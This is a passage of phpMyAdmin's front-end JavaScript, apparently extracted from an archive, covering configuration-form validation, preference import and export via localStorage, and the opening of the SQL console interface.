params[i] !== obj[i]) { if (i === 'db' || i === 'table') { updateNavigation = true; } } params[i] = obj[i]; } if (updateNavigation && $('#pma_navigation_tree').hasClass('synced') ) { Navigation.showCurrent(); } }, /** * Retrieves a value given its key * Returns empty string for undefined values * * @param {string} name The key * * @return {string} */ get: function (name) { return params[name]; }, /** * Saves a single key value pair * * @param {string} name The key * @param {string} value The value * * @return {CommonParams} For chainability */ set: function (name, value) { var updateNavigation = false; if (name === 'db' || name === 'table' && params[name] !== value ) { updateNavigation = true; } params[name] = value; if (updateNavigation && $('#pma_navigation_tree').hasClass('synced') ) { Navigation.showCurrent(); } return this; }, /** * Returns the url query string using the saved parameters * * @param {string} separator New separator * * @return {string} */ getUrlQuery: function (separator) { var sep = (typeof separator !== 'undefined') ? separator : '?'; var common = this.get('common_query'); var argsep = CommonParams.get('arg_separator'); if (typeof common === 'string' && common.length > 0) { // If the last char is the separator, do not add it // Else add it common = common.substr(common.length - 1, common.length) === argsep ? common : common + argsep; } return Functions.sprintf( '%s%sserver=%s' + argsep + 'db=%s' + argsep + 'table=%s', sep, common, encodeURIComponent(this.get('server')), encodeURIComponent(this.get('db')), encodeURIComponent(this.get('table')) ); } }; }()); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js */ // eslint-disable-next-line no-unused-vars var CommonActions = { /** * Saves the database name when it's changed * and reloads the query window, if necessary * * @param {string} newDb new_db The name of the new database * * @return {void} */ setDb: function (newDb) { if (newDb !== CommonParams.get('db')) { CommonParams.setAll({ 'db': newDb, 'table': '' }); } }, /** * Opens a database in the main part of the page * * @param {string} newDb The name of the new database * * @return {void} */ openDb: function (newDb) { CommonParams .set('db', newDb) .set('table', ''); this.refreshMain( CommonParams.get('opendb_url') ); }, /** * Refreshes the main frame * * @param {any} url Undefined to refresh to the same page * String to go to a different page, e.g: 'index.php' * @param {function | undefined} callback * * @return {void} */ refreshMain: function (url, callback = undefined) { var newUrl = url; if (! newUrl) { newUrl = $('#selflink').find('a').attr('href') || window.location.pathname; newUrl = newUrl.substring(0, newUrl.indexOf('?')); } if (newUrl.indexOf('?') !== -1) { newUrl += CommonParams.getUrlQuery(CommonParams.get('arg_separator')); } else { newUrl += CommonParams.getUrlQuery('?'); } $('', { href: newUrl }) .appendTo('body') .trigger('click') .remove(); if (typeof callback !== 'undefined') { AJAX.callback = callback; } } }; config.js000066600000063152151724624350006373 0ustar00/** * Functions used in configuration forms and on user preferences pages */ /* exported PASSIVE_EVENT_LISTENERS */ var configInlineParams; var configScriptLoaded; /** * checks whether browser supports web storage * * @param {'localStorage' | 'sessionStorage'} type the type of storage i.e. localStorage or sessionStorage * @param {boolean} warn Wether to show a warning on error * * @return {boolean} */ function isStorageSupported (type, warn = false) { try { window[type].setItem('PMATest', 'test'); // Check whether key-value pair was set successfully if (window[type].getItem('PMATest') === 'test') { // Supported, remove test variable from storage window[type].removeItem('PMATest'); return true; } } catch (error) { // Not supported if (warn) { Functions.ajaxShowMessage(Messages.strNoLocalStorage, false); } } return false; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('config.js', function () { $('.optbox input[id], .optbox select[id], .optbox textarea[id]').off('change').off('keyup'); $('.optbox input[type=button][name=submit_reset]').off('click'); $('div.tab-content').off(); $('#import_local_storage, #export_local_storage').off('click'); $('form.prefs-form').off('change').off('submit'); $(document).off('click', 'div.click-hide-message'); $('#prefs_autoload').find('a').off('click'); }); AJAX.registerOnload('config.js', function () { var $topmenuUpt = $('#user_prefs_tabs'); $topmenuUpt.find('a.active').attr('rel', 'samepage'); $topmenuUpt.find('a:not(.active)').attr('rel', 'newpage'); }); // default values for fields var defaultValues = {}; /** * Returns field type * * @param {Element} field * * @return {string} */ function getFieldType (field) { var $field = $(field); var tagName = $field.prop('tagName'); if (tagName === 'INPUT') { return $field.attr('type'); } else if (tagName === 'SELECT') { return 'select'; } else if (tagName === 'TEXTAREA') { return 'text'; } return ''; } /** * Enables or disables the "restore default value" button * * @param {Element} field * @param {boolean} display * * @return {void} */ function setRestoreDefaultBtn (field, display) { var $el = $(field).closest('td').find('.restore-default img'); $el[display ? 'show' : 'hide'](); } /** * Marks field depending on its value (system default or custom) * * @param {Element | JQuery} field * * @return {void} */ function markField (field) { var $field = $(field); var type = getFieldType($field); var isDefault = checkFieldDefault($field, type); // checkboxes uses parent for marking var $fieldMarker = (type === 'checkbox') ? $field.parent() : $field; setRestoreDefaultBtn($field, !isDefault); $fieldMarker[isDefault ? 'removeClass' : 'addClass']('custom'); } /** * Sets field value * * value must be of type: * o undefined (omitted) - restore default value (form default, not PMA default) * o String - if field_type is 'text' * o boolean - if field_type is 'checkbox' * o Array of values - if field_type is 'select' * * @param {Element} field * @param {string} fieldType see {@link #getFieldType} * @param {string | boolean} value */ function setFieldValue (field, fieldType, value) { var $field = $(field); switch (fieldType) { case 'text': case 'number': $field.val(value); break; case 'checkbox': $field.prop('checked', value); break; case 'select': var options = $field.prop('options'); var i; var imax = options.length; for (i = 0; i < imax; i++) { options[i].selected = (value.indexOf(options[i].value) !== -1); } break; } markField($field); } /** * Gets field value * * Will return one of: * o String - if type is 'text' * o boolean - if type is 'checkbox' * o Array of values - if type is 'select' * * @param {Element} field * @param {string} fieldType returned by {@link #getFieldType} * * @return {boolean | string | string[] | null} */ function getFieldValue (field, fieldType) { var $field = $(field); switch (fieldType) { case 'text': case 'number': return $field.prop('value'); case 'checkbox': return $field.prop('checked'); case 'select': var options = $field.prop('options'); var i; var imax = options.length; var items = []; for (i = 0; i < imax; i++) { if (options[i].selected) { items.push(options[i].value); } } return items; } return null; } /** * Returns values for all fields in fieldsets * * @return {object} */ // eslint-disable-next-line no-unused-vars function getAllValues () { var $elements = $('fieldset input, fieldset select, fieldset textarea'); var values = {}; var type; var value; for (var i = 0; i < $elements.length; i++) { type = getFieldType($elements[i]); value = getFieldValue($elements[i], type); if (typeof value !== 'undefined') { // we only have single selects, fatten array if (type === 'select') { value = value[0]; } values[$elements[i].name] = value; } } return values; } /** * Checks whether field has its default value * * @param {Element} field * @param {string} type * * @return {boolean} */ function checkFieldDefault (field, type) { var $field = $(field); var fieldId = $field.attr('id'); if (typeof defaultValues[fieldId] === 'undefined') { return true; } var isDefault = true; var currentValue = getFieldValue($field, type); if (type !== 'select') { isDefault = currentValue === defaultValues[fieldId]; } else { // compare arrays, will work for our representation of select values if (currentValue.length !== defaultValues[fieldId].length) { isDefault = false; } else { for (var i = 0; i < currentValue.length; i++) { if (currentValue[i] !== defaultValues[fieldId][i]) { isDefault = false; break; } } } } return isDefault; } /** * Returns element's id prefix * @param {Element} element * * @return {string} */ // eslint-disable-next-line no-unused-vars function getIdPrefix (element) { return $(element).attr('id').replace(/[^-]+$/, ''); } // ------------------------------------------------------------------ // Form validation and field operations // // form validator assignments var validate = {}; // form validator list var validators = { // regexp: numeric value regExpNumeric: /^[0-9]+$/, // regexp: extract parts from PCRE expression regExpPcreExtract: /(.)(.*)\1(.*)?/, /** * Validates positive number * * @param {boolean} isKeyUp * * @return {boolean} */ validatePositiveNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = this.value !== '0' && validators.regExpNumeric.test(this.value); return result ? true : Messages.error_nan_p; }, /** * Validates non-negative number * * @param {boolean} isKeyUp * * @return {boolean} */ validateNonNegativeNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value); return result ? true : Messages.error_nan_nneg; }, /** * Validates port number * * @return {true|string} */ validatePortNumber: function () { if (this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value) && this.value !== '0'; return result && this.value <= 65535 ? true : Messages.error_incorrect_port; }, /** * Validates value according to given regular expression * * @param {boolean} isKeyUp * @param {string} regexp * * @return {true|string} */ validateByRegex: function (isKeyUp, regexp) { if (isKeyUp && this.value === '') { return true; } // convert PCRE regexp var parts = regexp.match(validators.regExpPcreExtract); var valid = this.value.match(new RegExp(parts[2], parts[3])) !== null; return valid ? true : Messages.error_invalid_value; }, /** * Validates upper bound for numeric inputs * * @param {boolean} isKeyUp * @param {number} maxValue * * @return {true|string} */ validateUpperBound: function (isKeyUp, maxValue) { var val = parseInt(this.value, 10); if (isNaN(val)) { return true; } return val <= maxValue ? true : Functions.sprintf(Messages.error_value_lte, maxValue); }, // field validators field: { }, // fieldset validators fieldset: { } }; /** * Registers validator for given field * * @param {string} id field id * @param {string} type validator (key in validators object) * @param {boolean} onKeyUp whether fire on key up * @param {Array} params validation function parameters */ // eslint-disable-next-line no-unused-vars function registerFieldValidator (id, type, onKeyUp, params) { if (typeof validators[type] === 'undefined') { return; } if (typeof validate[id] === 'undefined') { validate[id] = []; } if (validate[id].length === 0) { validate[id].push([type, params, onKeyUp]); } } /** * Returns validation functions associated with form field * * @param {String} fieldId form field id * @param {boolean} onKeyUpOnly see registerFieldValidator * * @return {any[]} of [function, parameters to be passed to function] */ function getFieldValidators (fieldId, onKeyUpOnly) { // look for field bound validator var name = fieldId && fieldId.match(/[^-]+$/)[0]; if (typeof validators.field[name] !== 'undefined') { return [[validators.field[name], null]]; } // look for registered validators var functions = []; if (typeof validate[fieldId] !== 'undefined') { // validate[field_id]: array of [type, params, onKeyUp] for (var i = 0, imax = validate[fieldId].length; i < imax; i++) { if (onKeyUpOnly && !validate[fieldId][i][2]) { continue; } functions.push([validators[validate[fieldId][i][0]], validate[fieldId][i][1]]); } } return functions; } /** * Displays errors for given form fields * * WARNING: created DOM elements must be identical with the ones made by * PhpMyAdmin\Config\FormDisplayTemplate::displayInput()! * * @param {object} errorList list of errors in the form {field id: error array} */ function displayErrors (errorList) { var tempIsEmpty = function (item) { return item !== ''; }; for (var fieldId in errorList) { var errors = errorList[fieldId]; var $field = $('#' + fieldId); var isFieldset = $field.attr('tagName') === 'FIELDSET'; var $errorCnt; if (isFieldset) { $errorCnt = $field.find('dl.errors'); } else { $errorCnt = $field.siblings('.inline_errors'); } // remove empty errors (used to clear error list) errors = $.grep(errors, tempIsEmpty); // CSS error class if (!isFieldset) { // checkboxes uses parent for marking var $fieldMarker = ($field.attr('type') === 'checkbox') ? $field.parent() : $field; $fieldMarker[errors.length ? 'addClass' : 'removeClass']('field-error'); } if (errors.length) { // if error container doesn't exist, create it if ($errorCnt.length === 0) { if (isFieldset) { $errorCnt = $('
          '); $field.find('table').before($errorCnt); } else { $errorCnt = $('
          '); $field.closest('td').append($errorCnt); } } var html = ''; for (var i = 0, imax = errors.length; i < imax; i++) { html += '
          ' + errors[i] + '
          '; } $errorCnt.html(html); } else if ($errorCnt !== null) { // remove useless error container $errorCnt.remove(); } } } /** * Validates fields and fieldsets and call displayError function as required */ function setDisplayError () { var elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); // run all field validators var errors = {}; for (var i = 0; i < elements.length; i++) { validateField(elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } /** * Validates fieldset and puts errors in 'errors' object * * @param {Element} fieldset * @param {boolean} isKeyUp * @param {object} errors */ function validateFieldset (fieldset, isKeyUp, errors) { var $fieldset = $(fieldset); if ($fieldset.length && typeof validators.fieldset[$fieldset.attr('id')] !== 'undefined') { var fieldsetErrors = validators.fieldset[$fieldset.attr('id')].apply($fieldset[0], [isKeyUp]); for (var fieldId in fieldsetErrors) { if (typeof errors[fieldId] === 'undefined') { errors[fieldId] = []; } if (typeof fieldsetErrors[fieldId] === 'string') { fieldsetErrors[fieldId] = [fieldsetErrors[fieldId]]; } $.merge(errors[fieldId], fieldsetErrors[fieldId]); } } } /** * Validates form field and puts errors in 'errors' object * * @param {Element} field * @param {boolean} isKeyUp * @param {object} errors */ function validateField (field, isKeyUp, errors) { var args; var result; var $field = $(field); var fieldId = $field.attr('id'); errors[fieldId] = []; var functions = getFieldValidators(fieldId, isKeyUp); for (var i = 0; i < functions.length; i++) { if (typeof functions[i][1] !== 'undefined' && functions[i][1] !== null) { args = functions[i][1].slice(0); } else { args = []; } args.unshift(isKeyUp); result = functions[i][0].apply($field[0], args); if (result !== true) { if (typeof result === 'string') { result = [result]; } $.merge(errors[fieldId], result); } } } /** * Validates form field and parent fieldset * * @param {Element} field * @param {boolean} isKeyUp */ function validateFieldAndFieldset (field, isKeyUp) { var $field = $(field); var errors = {}; validateField($field, isKeyUp, errors); validateFieldset($field.closest('fieldset.optbox'), isKeyUp, errors); displayErrors(errors); } function loadInlineConfig () { if (!Array.isArray(configInlineParams)) { return; } for (var i = 0; i < configInlineParams.length; ++i) { if (typeof configInlineParams[i] === 'function') { configInlineParams[i](); } } } function setupValidation () { validate = {}; configScriptLoaded = true; if (configScriptLoaded && typeof configInlineParams !== 'undefined') { loadInlineConfig(); } // register validators and mark custom values var $elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); $elements.each(function () { markField(this); var $el = $(this); $el.on('change', function () { validateFieldAndFieldset(this, false); markField(this); }); var tagName = $el.attr('tagName'); // text fields can be validated after each change if (tagName === 'INPUT' && $el.attr('type') === 'text') { $el.on('keyup', function () { validateFieldAndFieldset($el, true); markField($el); }); } // disable textarea spellcheck if (tagName === 'TEXTAREA') { $el.attr('spellcheck', false); } }); // check whether we've refreshed a page and browser remembered modified // form values var $checkPageRefresh = $('#check_page_refresh'); if ($checkPageRefresh.length === 0 || $checkPageRefresh.val() === '1') { // run all field validators var errors = {}; for (var i = 0; i < $elements.length; i++) { validateField($elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } else if ($checkPageRefresh) { $checkPageRefresh.val('1'); } } AJAX.registerOnload('config.js', function () { setupValidation(); }); // // END: Form validation and field operations // ------------------------------------------------------------------ function adjustPrefsNotification () { var $prefsAutoLoad = $('#prefs_autoload'); var $tableNameControl = $('#table_name_col_no'); var $prefsAutoShowing = ($prefsAutoLoad.css('display') !== 'none'); if ($prefsAutoShowing && $tableNameControl.length) { $tableNameControl.css('top', '55px'); } } AJAX.registerOnload('config.js', function () { adjustPrefsNotification(); }); // ------------------------------------------------------------------ // Form reset buttons // AJAX.registerOnload('config.js', function () { $('.optbox input[type=button][name=submit_reset]').on('click', function () { var fields = $(this).closest('fieldset').find('input, select, textarea'); for (var i = 0, imax = fields.length; i < imax; i++) { setFieldValue(fields[i], getFieldType(fields[i]), defaultValues[fields[i].id]); } setDisplayError(); }); }); // // END: Form reset buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // "Restore default" and "set value" buttons // /** * Restores field's default value * * @param {string} fieldId * * @return {void} */ function restoreField (fieldId) { var $field = $('#' + fieldId); if ($field.length === 0 || defaultValues[fieldId] === undefined) { return; } setFieldValue($field, getFieldType($field), defaultValues[fieldId]); } function setupRestoreField () { $('div.tab-content') .on('mouseenter', '.restore-default, .set-value', function () { $(this).css('opacity', 1); }) .on('mouseleave', '.restore-default, .set-value', function () { $(this).css('opacity', 0.25); }) .on('click', '.restore-default, .set-value', function (e) { e.preventDefault(); var href = $(this).attr('href'); var fieldSel; if ($(this).hasClass('restore-default')) { fieldSel = href; restoreField(fieldSel.substr(1)); } else { fieldSel = href.match(/^[^=]+/)[0]; var value = href.match(/=(.+)$/)[1]; setFieldValue($(fieldSel), 'text', value); } $(fieldSel).trigger('change'); }) .find('.restore-default, .set-value') // inline-block for IE so opacity inheritance works .css({ display: 'inline-block', opacity: 0.25 }); } AJAX.registerOnload('config.js', function () { setupRestoreField(); }); // // END: "Restore default" and "set value" buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences import/export // AJAX.registerOnload('config.js', function () { offerPrefsAutoimport(); var $radios = $('#import_local_storage, #export_local_storage'); if (!$radios.length) { return; } // enable JavaScript dependent fields $radios .prop('disabled', false) .add('#export_text_file, #import_text_file') .on('click', function () { var enableId = $(this).attr('id'); var disableId; if (enableId.match(/local_storage$/)) { disableId = enableId.replace(/local_storage$/, 'text_file'); } else { disableId = enableId.replace(/text_file$/, 'local_storage'); } $('#opts_' + disableId).addClass('disabled').find('input').prop('disabled', true); $('#opts_' + enableId).removeClass('disabled').find('input').prop('disabled', false); }); // detect localStorage state var lsSupported = isStorageSupported('localStorage', true); var lsExists = lsSupported ? (window.localStorage.config || false) : false; $('div.localStorage-' + (lsSupported ? 'un' : '') + 'supported').hide(); $('div.localStorage-' + (lsExists ? 'empty' : 'exists')).hide(); if (lsExists) { updatePrefsDate(); } $('form.prefs-form').on('change', function () { var $form = $(this); var disabled = false; if (!lsSupported) { disabled = $form.find('input[type=radio][value$=local_storage]').prop('checked'); } else if (!lsExists && $form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked ) { disabled = true; } $form.find('input[type=submit]').prop('disabled', disabled); }).on('submit', function (e) { var $form = $(this); if ($form.attr('name') === 'prefs_export' && $('#export_local_storage')[0].checked) { e.preventDefault(); // use AJAX to read JSON settings and save them savePrefsToLocalStorage($form); } else if ($form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked) { // set 'json' input and submit form $form.find('input[name=json]').val(window.localStorage.config); } }); $(document).on('click', 'div.click-hide-message', function () { $(this).hide(); $(this).parent('.card-body').css('height', ''); $(this).parent('.card-body').find('.prefs-form').show(); }); }); /** * Saves user preferences to localStorage * * @param {Element} form */ function savePrefsToLocalStorage (form) { var $form = $(form); var submit = $form.find('input[type=submit]'); submit.prop('disabled', true); $.ajax({ url: 'index.php?route=/preferences/manage', cache: false, type: 'POST', data: { 'ajax_request': true, 'server': CommonParams.get('server'), 'submit_get_json': true }, success: function (data) { if (typeof data !== 'undefined' && data.success === true) { window.localStorage.config = data.prefs; window.localStorage.configMtime = data.mtime; window.localStorage.configMtimeLocal = (new Date()).toUTCString(); updatePrefsDate(); $('div.localStorage-empty').hide(); $('div.localStorage-exists').show(); var group = $form.parent('.card-body'); group.css('height', group.height() + 'px'); $form.hide('fast'); $form.prev('.click-hide-message').show('fast'); } else { Functions.ajaxShowMessage(data.error); } }, complete: function () { submit.prop('disabled', false); } }); } /** * Updates preferences timestamp in Import form */ function updatePrefsDate () { var d = new Date(window.localStorage.configMtimeLocal); var msg = Messages.strSavedOn.replace( '@DATE@', Functions.formatDateTime(d) ); $('#opts_import_local_storage').find('div.localStorage-exists').html(msg); } /** * Prepares message which informs that localStorage preferences are available and can be imported or deleted */ function offerPrefsAutoimport () { var hasConfig = (isStorageSupported('localStorage')) && (window.localStorage.config || false); var $cnt = $('#prefs_autoload'); if (!$cnt.length || !hasConfig) { return; } $cnt.find('a').on('click', function (e) { e.preventDefault(); var $a = $(this); if ($a.attr('href') === '#no') { $cnt.remove(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } else if ($a.attr('href') === '#delete') { $cnt.remove(); localStorage.clear(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } $cnt.find('input[name=json]').val(window.localStorage.config); $cnt.find('form').trigger('submit'); }); $cnt.show(); } /** * @type {boolean} Support for passive event listener option */ var PASSIVE_EVENT_LISTENERS = (function () { var passive = false; try { var options = Object.defineProperty({}, 'passive', { get: function () { return (passive = true); }, }); window.addEventListener('_', null, options); window.removeEventListener('_', null, options); } catch (error) { // passive not supported } return passive; }()); console.js000066600000161600151724624350006565 0ustar00/** * Used in or for console * * @package phpMyAdmin-Console */ /* global debugSQLInfo */ // libraries/classes/Footer.php /** * Console object */ var Console = { /** * @var {JQuery}, jQuery object, selector is '#pma_console>.content' * @access private */ $consoleContent: null, /** * @var {Jquery}, jQuery object, selector is '#pma_console .content', * used for resizer * @access private */ $consoleAllContents: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .toolbar' * @access private */ $consoleToolbar: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .template' * @access private */ $consoleTemplates: null, /** * @var {JQuery}, jQuery object, form for submit * @access private */ $requestForm: null, /** * @var {object}, contain console config * @access private */ config: null, /** * @var {boolean}, if console element exist, it'll be true * @access public */ isEnabled: false, /** * @var {boolean}, make sure console events bind only once * @access private */ isInitialized: false, /** * Used for console initialize, reinit is ok, just some variable assignment * * @return {void} */ initialize: function () { if ($('#pma_console').length === 0) { return; } Functions.configGet('Console', false, (data) => { Console.config = data; Console.setupAfterInit(); }, () => { Console.config = {};// Avoid null pointers in setupAfterInit() // Fetching data failed, still perform the console init Console.setupAfterInit(); }); }, /** * Setup the console after the config has been set at initialize stage */ setupAfterInit: function () { Console.isEnabled = true; // Vars init Console.$consoleToolbar = $('#pma_console').find('>.toolbar'); Console.$consoleContent = $('#pma_console').find('>.content'); Console.$consoleAllContents = $('#pma_console').find('.content'); Console.$consoleTemplates = $('#pma_console').find('>.templates'); // Generate a form for post Console.$requestForm = $('
          ' + '' + '' + '' + '' + '' + '' + '' + '
          ' ); Console.$requestForm.children('[name=token]').val(CommonParams.get('token')); Console.$requestForm.on('submit', AJAX.requestHandler); // Event binds shouldn't run again if (Console.isInitialized === false) { // Load config first if (Console.config.AlwaysExpand === true) { $('#pma_console_options input[name=always_expand]').prop('checked', true); } if (Console.config.StartHistory === true) { $('#pma_console_options').find('input[name=start_history]').prop('checked', true); } if (Console.config.CurrentQuery === true) { $('#pma_console_options').find('input[name=current_query]').prop('checked', true); } if (Console.config.EnterExecutes === true) { $('#pma_console_options').find('input[name=enter_executes]').prop('checked', true); } if (Console.config.DarkTheme === true) { $('#pma_console_options').find('input[name=dark_theme]').prop('checked', true); $('#pma_console').find('>.content').addClass('console_dark_theme'); } ConsoleResizer.initialize(); ConsoleInput.initialize(); ConsoleMessages.initialize(); ConsoleBookmarks.initialize(); ConsoleDebug.initialize(); Console.$consoleToolbar.children('.console_switch').on('click', Console.toggle); $('#pma_console').find('.toolbar').children().on('mousedown', function (event) { event.preventDefault(); event.stopImmediatePropagation(); }); $('#pma_console').find('.button.clear').on('click', function () { ConsoleMessages.clear(); }); $('#pma_console').find('.button.history').on('click', function () { ConsoleMessages.showHistory(); }); $('#pma_console').find('.button.options').on('click', function () { Console.showCard('#pma_console_options'); }); $('#pma_console').find('.button.debug').on('click', function () { Console.showCard('#debug_console'); }); Console.$consoleContent.on('click', function (event) { if (event.target === this) { ConsoleInput.focus(); } }); $('#pma_console').find('.mid_layer').on('click', function () { Console.hideCard($(this).parent().children('.card')); }); $('#debug_console').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_bookmarks').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('input[type=checkbox]').on('change', function () { Console.updateConfig(); }); $('#pma_console_options').find('.button.default').on('click', function () { $('#pma_console_options input[name=always_expand]').prop('checked', false); $('#pma_console_options').find('input[name=start_history]').prop('checked', false); $('#pma_console_options').find('input[name=current_query]').prop('checked', true); $('#pma_console_options').find('input[name=enter_executes]').prop('checked', false); $('#pma_console_options').find('input[name=dark_theme]').prop('checked', false); Console.updateConfig(); }); $('#pma_console_options').find('input[name=enter_executes]').on('change', function () { ConsoleMessages.showInstructions(Console.config.EnterExecutes); }); $(document).on('ajaxComplete', function (event, xhr, ajaxOptions) { // Not a json body, then skip if (ajaxOptions.dataType && ajaxOptions.dataType.indexOf('json') === -1) { return; } if (xhr.status !== 200) { return; } try { var data = JSON.parse(xhr.responseText); Console.ajaxCallback(data); } catch (e) { // eslint-disable-next-line no-console, compat/compat console.trace(); // eslint-disable-next-line no-console console.log('Failed to parse JSON: ' + e.message); } }); Console.isInitialized = true; } // Change console mode from cookie switch (Console.config.Mode) { case 'collapse': Console.collapse(); break; case 'info': Console.info(); break; case 'show': Console.show(true); Console.scrollBottom(); break; default: Console.setConfig('Mode', 'info'); Console.info(); } }, /** * Execute query and show results in console * * @param {string} queryString * @param {object} options * * @return {void} */ execute: function (queryString, options) { if (typeof(queryString) !== 'string' || ! /[a-z]|[A-Z]/.test(queryString)) { return; } Console.$requestForm.children('textarea').val(queryString); Console.$requestForm.children('[name=server]').attr('value', CommonParams.get('server')); if (options && options.db) { Console.$requestForm.children('[name=db]').val(options.db); if (options.table) { Console.$requestForm.children('[name=table]').val(options.table); } else { Console.$requestForm.children('[name=table]').val(''); } } else { Console.$requestForm.children('[name=db]').val( (CommonParams.get('db').length > 0 ? CommonParams.get('db') : '')); } Console.$requestForm.find('[name=profiling]').remove(); if (options && options.profiling === true) { Console.$requestForm.append(''); } if (! Functions.confirmQuery(Console.$requestForm[0], Console.$requestForm.children('textarea')[0].value)) { return; } Console.$requestForm.children('[name=console_message_id]') .val(ConsoleMessages.appendQuery({ 'sql_query': queryString }).message_id); Console.$requestForm.trigger('submit'); ConsoleInput.clear(); Navigation.reload(); }, ajaxCallback: function (data) { if (data && data.console_message_id) { ConsoleMessages.updateQuery(data.console_message_id, data.success, (data.reloadQuerywindow ? data.reloadQuerywindow : false)); } else if (data && data.reloadQuerywindow) { if (data.reloadQuerywindow.sql_query.length > 0) { ConsoleMessages.appendQuery(data.reloadQuerywindow, 'successed') .$message.addClass(Console.config.CurrentQuery ? '' : 'hide'); } } }, /** * Change console to collapse mode * * @return {void} */ collapse: function () { Console.setConfig('Mode', 'collapse'); var pmaConsoleHeight = Math.max(92, Console.config.Height); Console.$consoleToolbar.addClass('collapsed'); Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': -1 * Console.$consoleContent.outerHeight() + 'px' }, 'fast', 'easeOutQuart', function () { Console.$consoleContent.css({ display:'none' }); $(window).trigger('resize'); }); Console.hideCard(); }, /** * Show console * * @param {boolean} inputFocus If true, focus the input line after show() * @return {void} */ show: function (inputFocus) { Console.setConfig('Mode', 'show'); var pmaConsoleHeight = Math.max(92, Console.config.Height); // eslint-disable-next-line compat/compat pmaConsoleHeight = Math.min(Console.config.Height, (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight) - 25); Console.$consoleContent.css({ display:'block' }); if (Console.$consoleToolbar.hasClass('collapsed')) { Console.$consoleToolbar.removeClass('collapsed'); } Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': 0 }, 'fast', 'easeOutQuart', function () { $(window).trigger('resize'); if (inputFocus) { ConsoleInput.focus(); } }); }, /** * Change console to SQL information mode * this mode shows current SQL query * This mode is the default mode * * @return {void} */ info: function () { // Under construction Console.collapse(); }, /** * Toggle console mode between collapse/show * Used for toggle buttons and shortcuts * * @return {void} */ toggle: function () { switch (Console.config.Mode) { case 'collapse': case 'info': Console.show(true); break; case 'show': Console.collapse(); break; } }, /** * Scroll console to bottom * * @return {void} */ scrollBottom: function () { Console.$consoleContent.scrollTop(Console.$consoleContent.prop('scrollHeight')); }, /** * Show card * * @param {string | JQuery} cardSelector Selector, select string will be "#pma_console " + cardSelector * this param also can be JQuery object, if you need. * * @return {void} */ showCard: function (cardSelector) { var $card = null; if (typeof(cardSelector) !== 'string') { if (cardSelector.length > 0) { $card = cardSelector; } else { return; } } else { $card = $('#pma_console ' + cardSelector); } if ($card.length === 0) { return; } $card.parent().children('.mid_layer').show().fadeTo(0, 0.15); $card.addClass('show'); ConsoleInput.blur(); if ($card.parents('.card').length > 0) { Console.showCard($card.parents('.card')); } }, /** * Scroll console to bottom * * @param {object} $targetCard Target card JQuery object, if it's empty, function will hide all cards * @return {void} */ hideCard: function ($targetCard) { if (! $targetCard) { $('#pma_console').find('.mid_layer').fadeOut(140); $('#pma_console').find('.card').removeClass('show'); } else if ($targetCard.length > 0) { $targetCard.parent().find('.mid_layer').fadeOut(140); $targetCard.find('.card').removeClass('show'); $targetCard.removeClass('show'); } }, /** * Used for update console config * * @return {void} */ updateConfig: function () { Console.setConfig('AlwaysExpand', $('#pma_console_options input[name=always_expand]').prop('checked')); Console.setConfig('StartHistory', $('#pma_console_options').find('input[name=start_history]').prop('checked')); Console.setConfig('CurrentQuery', $('#pma_console_options').find('input[name=current_query]').prop('checked')); Console.setConfig('EnterExecutes', $('#pma_console_options').find('input[name=enter_executes]').prop('checked')); Console.setConfig('DarkTheme', $('#pma_console_options').find('input[name=dark_theme]').prop('checked')); /* Setting the dark theme of the console*/ if (Console.config.DarkTheme) { $('#pma_console').find('>.content').addClass('console_dark_theme'); } else { $('#pma_console').find('>.content').removeClass('console_dark_theme'); } }, setConfig: function (key, value) { Console.config[key] = value; Functions.configSet('Console/' + key, value); }, isSelect: function (queryString) { var regExp = /^SELECT\s+/i; return regExp.test(queryString); } }; /** * Resizer object * Careful: this object UI logics highly related with functions under Console * Resizing min-height is 32, if small than it, console will collapse */ var ConsoleResizer = { posY: 0, height: 0, resultHeight: 0, /** * Mousedown event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseDown: function (event) { if (Console.config.Mode !== 'show') { return; } ConsoleResizer.posY = event.pageY; ConsoleResizer.height = Console.$consoleContent.height(); $(document).on('mousemove', ConsoleResizer.mouseMove); $(document).on('mouseup', ConsoleResizer.mouseUp); // Disable text selection while resizing $(document).on('selectstart', function () { return false; }); }, /** * Mousemove event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseMove: function (event) { if (event.pageY < 35) { event.pageY = 35; } ConsoleResizer.resultHeight = ConsoleResizer.height + (ConsoleResizer.posY - event.pageY); // Content min-height is 32, if adjusting height small than it we'll move it out of the page if (ConsoleResizer.resultHeight <= 32) { Console.$consoleAllContents.height(32); Console.$consoleContent.css('margin-bottom', ConsoleResizer.resultHeight - 32); } else { // Logic below makes viewable area always at bottom when adjusting height and content already at bottom if (Console.$consoleContent.scrollTop() + Console.$consoleContent.innerHeight() + 16 >= Console.$consoleContent.prop('scrollHeight')) { 